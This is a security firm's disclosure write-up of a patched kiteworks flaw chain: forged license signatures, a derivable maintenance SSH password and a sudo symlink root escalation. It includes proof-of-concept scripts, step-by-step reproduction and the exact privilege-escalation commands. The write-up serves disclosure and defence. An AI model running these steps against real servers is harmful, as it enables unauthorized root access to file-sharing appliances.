Introduction

ZX Security performed security testing of Accellion’s kiteworks application. The review was performed with a copy of the kiteworks virtual machine (VM), as well as access to a client pre-production instance.

During the testing process, we identified multiple issues which can be combined to allow a web administrator to gain root SSH access to server hosting the kiteworks instance. This post outlines the technical details of these vulnerabilities, how it could be exploited, and the potential impact for the users and organisations.

The issues described in the post have been patched in version 7.3.1-ng9, which has been publicly available since the 4th of March, 2021.

What is kiteworks?

kiteworks, by Accellion, is a secure file sharing platform that facilitates access to enterprise content sources by allowing internal and external users to share, send, sync and edit files on any type of device from any content store. [1]

Vulnerability Hunting

Since we were provided with a VM to test against, the first order of business was seeing if we could get any of the source code out of it to make our lives easier. This turned out to be pretty easy as the kiteworks.vmdk file could be directly mounted on our host.

It turns out there are a lot of cogs that make kiteworks tick. There’s the main PHP website, an internal Python/gunicorn API, an external PHP API, a MySQL database, a MongoDB database, and a Python CLI tool (which is invoked by the APIs and the website), just to name a few. Focussing purely on the website seemed to be the easiest way forward for hunting bugs, so this is the approach we took.

Gaining SSH access

While investigating the kiteworks admin interface, we found that there is an option that would allow Accellion (the company) to connect to the appliance over SSH for maintenance purposes. A web administrator must first enable this feature via the web interface and then send the randomly generated “Remote Management Password” to Accellion. This SSH access appears to be only for Accellion to use, and should not be able to be accessed by Accellion’s customers. The screenshot below shows an example generated password: Screenshot of kiteworks Remote Management Password page. The generated Remote Management Password can be seen in the bottom centre in green text.

Attempting to SSH into the kiteworks VM using this password did not work though, so we needed to dig deeper. From generating a few of these passwords we noticed several patterns. Everything before the dash seemed to be random, and the characters afterwards were static. After examining the source code, we determined that the “Remote Management Password” does in fact consist of two hyphenated values: a ten-character random alphanumeric string called the phase and the first 10 hexadecimal characters of the license signature.

However, we needed more than just the phase to get access. The source code identified one other necessary component of the SSH password called the filex_key. The Python CLI tool indicated that it came from the database, but when it was actually set was a bit of a mystery.

Many rabbit holes later, we finally found the source of this value: the application’s license file. We could now easily get the filex_key from the license just by base64-decoding the file and decrypting it through AES-128-CBC using the static key 062d21090b89ba04b031b825f2ce7da6 (which is actually the hash of an RSA public key embedded in the source code). Following the code, the SSH password could then be generated with sha1_hex(phase + filex_key)[:10] granting access as the user prometheus. The screenshot below shows an authenticated SSH session obtain from this process: Screenshot of successful SSH login into the kiteworks VM, using the generated password. Once authenticated the command id is run and it shows that we are the prometheus user

But what if the attacker doesn’t have access to the original license?

Building a license generator

Due to an oversight in the license verification algorithm, we were able to successfully forge our own signed licenses that the application happily accepted, allowing us to specify our own filex_key (and license expiry date). Can you spot the bug in the code below?

function storeLicenseFromFile(file) {
    license = getFileContents(file);
    licenseContent = decrypt(license);

    if (licenseContent["license"]["file_format_version"] != 2) {
        throw error("License version not supported.");
    }
    ...
}

function decrypt(text, verifyData=true) {
    text = base64Decode(text);
    key = sha512(this.publicKey)[:32];
    iv = bytes(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
    data = decryptAES256CBC(text, key, iv, NO_PADDING);

    if (verifyData) {
        data = verify(data);
    }

    return jsonDecode(data);
}

function verify(originalData) {
    data = jsonDecode(originalData);
    if (data.has("signature")) {
        signature = data["signature"];
        originalData = originalData.replace(signature, "");
        if (data.has("recipe")){
            version = data["recipe"]["file_format_version"];
        }
        else {
            version = data["license"]["file_format_version"];
        }

        if (version == 1) {
            if (sha512(originalData) != signature) {
                throw error("License signature mismatch");
            }
        }
        else if (version == 2) {
            // verification via public key cryptography
        }
    }

    return data;
}

This oversight stems from the use of two different licensing checking schemes. Version 2 of the scheme uses public-key cryptography to verify the signature of an uploaded license, and we were not able to identify any flaws in this version. Version 1 however uses a SHA512 hash (calculated over the plaintext license) to verify that the signature of the license is correct, which is easily bypassed. The application usually only accepts version 2 licenses, however this can be partially overridden by setting the value of recipe.file_format_version equal to 1 within a forged license. This results in the ability to use the version 1 license checking algorithm on a version 2 license. The forged license is then encrypted using a hard-coded symmetric key to finally become valid.

A proof of concept for generating valid licenses can found in the appendix under sign_and_encrypt.py and test_license.json.

The web interface happily accepts this new license, allowing us to have complete control over both phase and filex_key. And so, a valid SSH password can now be generated with just web admin access.

As hinted before, we also get full control over the expiry date of the license, which means we can keep our testing instance for as long as we want.

Screenshot of the admin interface with the modified expiry date highlighted

If you’re following along at home, here are the steps to do the whole process yourself:

  1. Edit the file test_license.json from the appendix with the desired values.
  2. Run the command ./sign_and_encrypt.py testlicense.json > test.lic to generate a new license.
  3. Sign in to the web application as a web administrator.
  4. Navigate to /admin/#/license_upload and upload the new license.
  5. Observe that the license is uploaded successfully and no error is returned.
  6. Navigate to /admin/#/locations, select the target server, and click on the Security tab.
  7. Ensure SSH Access is enabled.
  8. Reset the Remote Management Password and copy down the generated value.
  9. Run the command ./gen_prom_passwd.py <management_password> <filex_key> with the target values.
  10. Run the command ssh prometheus@<server_ip> and provide it with the password generated from the previous step.
  11. Observe that the SSH login was successful with the generated password.

Privilege Escalation from prometheus to root

While researching kiteworks, we stumbled upon some vulnerabilities [2] found by Shubham Shah in kiteworks back in 2016. The existence of CVE-2016-5662 [3] made us think that there were probably other privilege escalation paths on the machine.

The first thing we checked was to run the command sudo -l, which describes what commands a user can run with the privileges root. For the prometheus user, this includes the command /opt/prometheus/bin/admin.py. Examining the path to the command, we noticed that the directory /opt/prometheus is a symbolic link to /home/prometheus/prom-source, which is owned by the current user. This means that, despite the bin folder and its contents being owned by root, the directory itself can be freely renamed or deleted.

To exploit this misconfiguration, the bin folder is renamed to bin2 and a new bin folder is created. A symbolic link is placed in this folder under the name admin.py which points to /bin/bash. The command sudo /opt/prometheus/bin/admin.py can then be run, which will execute /bin/bash in the context of the root user. This allows the user to easily escalate their privilege to root. The following commands leverage this:

cd ~/prom-source
mv bin bin2
mkdir bin
ln -s /bin/bash bin/admin.py
sudo /opt/prometheus/bin/admin.py

The process is also highlighted in the following screenshot: Screenshot of kiteworks root privilege escalation. The image shows the running of the commands above. Finally, the id command is run and shows that the user is root

How To Fix It

Ensure that the installed version of kiteworks is 7.3.1-ng9 or later. Blocking access to port 22 would also mitigate this.

Conclusion

Despite only being applicable once you already have administrator access, this is a great example of how privileged features can be leveraged to gain further privileged access. The primary issue identified within the code was related to licensing verification. It is possible that this part of the code was not audited as carefully as other areas, as it is not at all obvious that a license is required to generate an SSH password, and may not have been seen as security-critical. The secondary issue, related to sudo, is an example of how simply using a restricted sudo command alone isn’t enough to prevent an attacker from elevating their privilege once they have access to a server.

Appendix

Below are scripts referenced in this post.

sign_and_encrypt.py

#!/usr/bin/env python3
import json
import hashlib
import base64
from Crypto.Cipher import AES
import sys

STATIC_ENCRYPTION_KEY = b'' # left as an exercise for the reader

def zero_pad(bstr):
    target_size = ((len(bstr) + 16 - 1) // 16) * 16
    return bstr.ljust(target_size, b'\0')

if len(sys.argv) != 2:
    print("Usage:   ./sign_and_encrypt.py <license_or_app.json>")
    print("Example: ./sign_and_encrypt.py ./testlicense.json")
    exit(1)

data = ""
with open(sys.argv[1]) as f:
    data = f.read()

license_data = json.loads(data)
# overrides signature verification version (see license.php#584)
license_data['recipe'] = {"file_format_version": 1}
license_data['signature'] = "" # signature is generated below

# generate a valid signature
license_str = json.dumps(license_data).encode()
signature = hashlib.sha512(license_str).hexdigest()
license_data['signature'] = signature
license_str = zero_pad(json.dumps(license_data).encode())

# Encryption time
ciph = AES.new(STATIC_ENCRYPTION_KEY, AES.MODE_CBC, b'\x00'*16)
license_enc = base64.b64encode(ciph.encrypt(license_str))
print(license_enc.decode())

gen_prom_password.py

#!/usr/bin/env python3
import hashlib
import sys

if len(sys.argv) != 3:
    print("Usage:   ./gen_prom_passwd.py <management_password> <filex_key>")
    print("Example: ./gen_prom_passwd.py Fv5cdYynqa-0102030405 AAAAAAAAAAAAAAAA")
    exit(1)

phase = sys.argv[1].split('-')[0]
filex_key = sys.argv[2]

password = hashlib.sha1((phase + filex_key).encode('utf-8')).hexdigest()[0:10]
print(password)

test_license.json

{
    "customer": {
        "deploymentID": "<redacted>",
        "expires": 1629977599,
        "number": "<redacted>",
        "package_type": "12152f1b-e6ec-49d7-bd26-655e584f4171"
    },
    "features": {
        "anti_virus": {
            "data": {
                "anti_virus": true,
                "servers": 2
            }
        },
        "api_integration": {
            "data": {
                "api_integration": true
            }
        },
        "base_install": {
            "data": {
                "deployment_type": "1",
                "filex_key": "AAAAAAAAAAAAAAAA",
                "licensed": {
                    "servers": 2,
                    "users": 10
                },
                "software_version": "production",
                "update_server": "update.accellion.net"
            }
        },
        "usage_reporting": {
            "data": {
                "usage_reporting": true
            }
        }
    },
    "license": {
        "created": 1607398551,
        "creator": "<redacted>",
        "description": "ZX Security - kiteworks Enterprise Deployment",
        "file_format_version": 2,
        "license_key": "<redacted>",
        "product": "kiteworks"
    }
}

Reference

Timeline

  • 10/01/2021 - Initial contact with Accellion about vulnerabilities
  • 10/01/2021 - Accellion requests details on vulnerabilities
  • 10/01/2021 - Vulnerabilities disclosed to Accellion
  • 10/01/2021 - Request to ZX Security for version information
  • 10/01/2021 - Version information provided (7.2.0-ng25)
  • 11/01/2021 - Accellion security team has assessed the vulnerability and begun to test fixes
  • 14/01/2021 - Vulnerabilities rated as P2 by Accellion. Time estimate of mid-March provided for fixes to be released
  • 14/01/2021 - ZX Security enquires whether a CVE will be assigned by Accellion or to request our own
  • 14/01/2021 - Accellion confirms they will assign a CVE
  • 16/03/2021 - ZX Security requests status update
  • 16/03/2021 - Accellion confirms patch was released in version 7.3.1-ng9, available 04/03/2021
  • 17/03/2021 - ZX Security requests further information and status update
  • 18/03/2021 - Accellion confirms further information and status update
  • 30/05/2021 - ZX Security requests status update on CVE assignment from Accellion
  • 11/06/2021 - CVE number provided as CVE-2021-31585
  • 16/06/2021 - Blog post released